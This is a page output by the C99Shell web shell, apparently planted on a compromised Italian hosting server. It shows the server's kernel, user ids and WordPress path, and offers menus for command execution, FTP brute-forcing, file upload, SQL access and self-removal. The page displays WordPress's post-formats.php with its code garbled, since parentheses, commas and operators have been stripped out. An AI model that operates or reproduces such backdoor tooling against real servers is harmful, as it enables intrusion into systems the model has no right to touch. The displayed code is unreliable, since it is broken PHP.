!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-includes/   drwxr-xr-x
Free 183.21 GB of 490.84 GB (37.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     post-formats.php (6.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Post format functions.
 *
 * @package WordPress
 * @subpackage Post
 */

/**
 * Retrieve the format slug for a post
 *
 * @since 3.1.0
 *
 * @param int|object|null $post Post ID or post object. Optional, default is the current post from the loop.
 * @return string|false The format if successful. False otherwise.
 */
function get_post_format$post null ) {
    if ( ! 
$post get_post$post ) )
        return 
false;

    if ( ! 
post_type_supports$post->post_type'post-formats' ) )
        return 
false;

    
$_format get_the_terms$post->ID'post_format' );

    if ( empty( 
$_format ) )
        return 
false;

    
$format reset$_format );

    return 
str_replace('post-format-'''$format->slug );
}

/**
 * Check if a post has any of the given formats, or any format.
 *
 * @since 3.1.0
 *
 * @param string|array    $format Optional. The format or formats to check.
 * @param object|int|null $post   Optional. The post to check. If not supplied, defaults to the current post if used in the loop.
 * @return bool True if the post has any of the given formats (or any format, if no format specified), false otherwise.
 */
function has_post_format$format = array(), $post null ) {
    
$prefixed = array();

    if ( 
$format ) {
        foreach ( (array) 
$format as $single ) {
            
$prefixed[] = 'post-format-' sanitize_key$single );
        }
    }

    return 
has_term$prefixed'post_format'$post );
}

/**
 * Assign a format to a post
 *
 * @since 3.1.0
 *
 * @param int|object $post   The post for which to assign a format.
 * @param string     $format A format to assign. Use an empty string or array to remove all formats from the post.
 * @return array|WP_Error|false WP_Error on error. Array of affected term IDs on success.
 */
function set_post_format$post$format ) {
    
$post get_post$post );

    if ( empty( 
$post ) )
        return new 
WP_Error'invalid_post'__'Invalid post.' ) );

    if ( ! empty( 
$format ) ) {
        
$format sanitize_key$format );
        if ( 
'standard' === $format || ! in_array$formatget_post_format_slugs() ) )
            
$format '';
        else
            
$format 'post-format-' $format;
    }

    return 
wp_set_post_terms$post->ID$format'post_format' );
}

/**
 * Returns an array of post format slugs to their translated and pretty display versions
 *
 * @since 3.1.0
 *
 * @return array The array of translated post format names.
 */
function get_post_format_strings() {
    
$strings = array(
        
'standard' => _x'Standard''Post format' ), // Special case. any value that evals to false will be considered standard
        
'aside'    => _x'Aside',    'Post format' ),
        
'chat'     => _x'Chat',     'Post format' ),
        
'gallery'  => _x'Gallery',  'Post format' ),
        
'link'     => _x'Link',     'Post format' ),
        
'image'    => _x'Image',    'Post format' ),
        
'quote'    => _x'Quote',    'Post format' ),
        
'status'   => _x'Status',   'Post format' ),
        
'video'    => _x'Video',    'Post format' ),
        
'audio'    => _x'Audio',    'Post format' ),
    );
    return 
$strings;
}

/**
 * Retrieves an array of post format slugs.
 *
 * @since 3.1.0
 *
 * @return array The array of post format slugs.
 */
function get_post_format_slugs() {
    
$slugs array_keysget_post_format_strings() );
    return 
array_combine$slugs$slugs );
}

/**
 * Returns a pretty, translated version of a post format slug
 *
 * @since 3.1.0
 *
 * @param string $slug A post format slug.
 * @return string The translated post format name.
 */
function get_post_format_string$slug ) {
    
$strings get_post_format_strings();
    if ( !
$slug )
        return 
$strings['standard'];
    else
        return ( isset( 
$strings[$slug] ) ) ? $strings[$slug] : '';
}

/**
 * Returns a link to a post format index.
 *
 * @since 3.1.0
 *
 * @param string $format The post format slug.
 * @return string|WP_Error|false The post format term link.
 */
function get_post_format_link$format ) {
    
$term get_term_by('slug''post-format-' $format'post_format' );
    if ( ! 
$term || is_wp_error$term ) )
        return 
false;
    return 
get_term_link$term );
}

/**
 * Filters the request to allow for the format prefix.
 *
 * @access private
 * @since 3.1.0
 *
 * @param array $qvs
 * @return array
 */
function _post_format_request$qvs ) {
    if ( ! isset( 
$qvs['post_format'] ) )
        return 
$qvs;
    
$slugs get_post_format_slugs();
    if ( isset( 
$slugs$qvs['post_format'] ] ) )
        
$qvs['post_format'] = 'post-format-' $slugs$qvs['post_format'] ];
    
$tax get_taxonomy'post_format' );
    if ( ! 
is_admin() )
        
$qvs['post_type'] = $tax->object_type;
    return 
$qvs;
}

/**
 * Filters the post format term link to remove the format prefix.
 *
 * @access private
 * @since 3.1.0
 *
 * @global WP_Rewrite $wp_rewrite
 *
 * @param string $link
 * @param object $term
 * @param string $taxonomy
 * @return string
 */
function _post_format_link$link$term$taxonomy ) {
    global 
$wp_rewrite;
    if ( 
'post_format' != $taxonomy ) {
        return 
$link;
    }
    if ( 
$wp_rewrite->get_extra_permastruct$taxonomy ) ) {
        return 
str_replace"/{$term->slug}"'/' str_replace'post-format-'''$term->slug ), $link );
    } else {
        
$link remove_query_arg'post_format'$link );
        return 
add_query_arg'post_format'str_replace'post-format-'''$term->slug ), $link );
    }
}

/**
 * Remove the post format prefix from the name property of the term object created by get_term().
 *
 * @access private
 * @since 3.1.0
 *
 * @param object $term
 * @return object
 */
function _post_format_get_term$term ) {
    if ( isset( 
$term->slug ) ) {
        
$term->name get_post_format_stringstr_replace'post-format-'''$term->slug ) );
    }
    return 
$term;
}

/**
 * Remove the post format prefix from the name property of the term objects created by get_terms().
 *
 * @access private
 * @since 3.1.0
 *
 * @param array        $terms
 * @param string|array $taxonomies
 * @param array        $args
 * @return array
 */
function _post_format_get_terms$terms$taxonomies$args ) {
    if ( 
in_array'post_format', (array) $taxonomies ) ) {
        if ( isset( 
$args['fields'] ) && 'names' == $args['fields'] ) {
            foreach ( 
$terms as $order => $name ) {
                
$terms[$order] = get_post_format_stringstr_replace'post-format-'''$name ) );
            }
        } else {
            foreach ( (array) 
$terms as $order => $term ) {
                if ( isset( 
$term->taxonomy ) && 'post_format' == $term->taxonomy ) {
                    
$terms[$order]->name get_post_format_stringstr_replace'post-format-'''$term->slug ) );
                }
            }
        }
    }
    return 
$terms;
}

/**
 * Remove the post format prefix from the name property of the term objects created by wp_get_object_terms().
 *
 * @access private
 * @since 3.1.0
 *
 * @param array $terms
 * @return array
 */
function _post_format_wp_get_object_terms$terms ) {
    foreach ( (array) 
$terms as $order => $term ) {
        if ( isset( 
$term->taxonomy ) && 'post_format' == $term->taxonomy ) {
            
$terms[$order]->name get_post_format_stringstr_replace'post-format-'''$term->slug ) );
        }
    }
    return 
$terms;
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.1153 ]--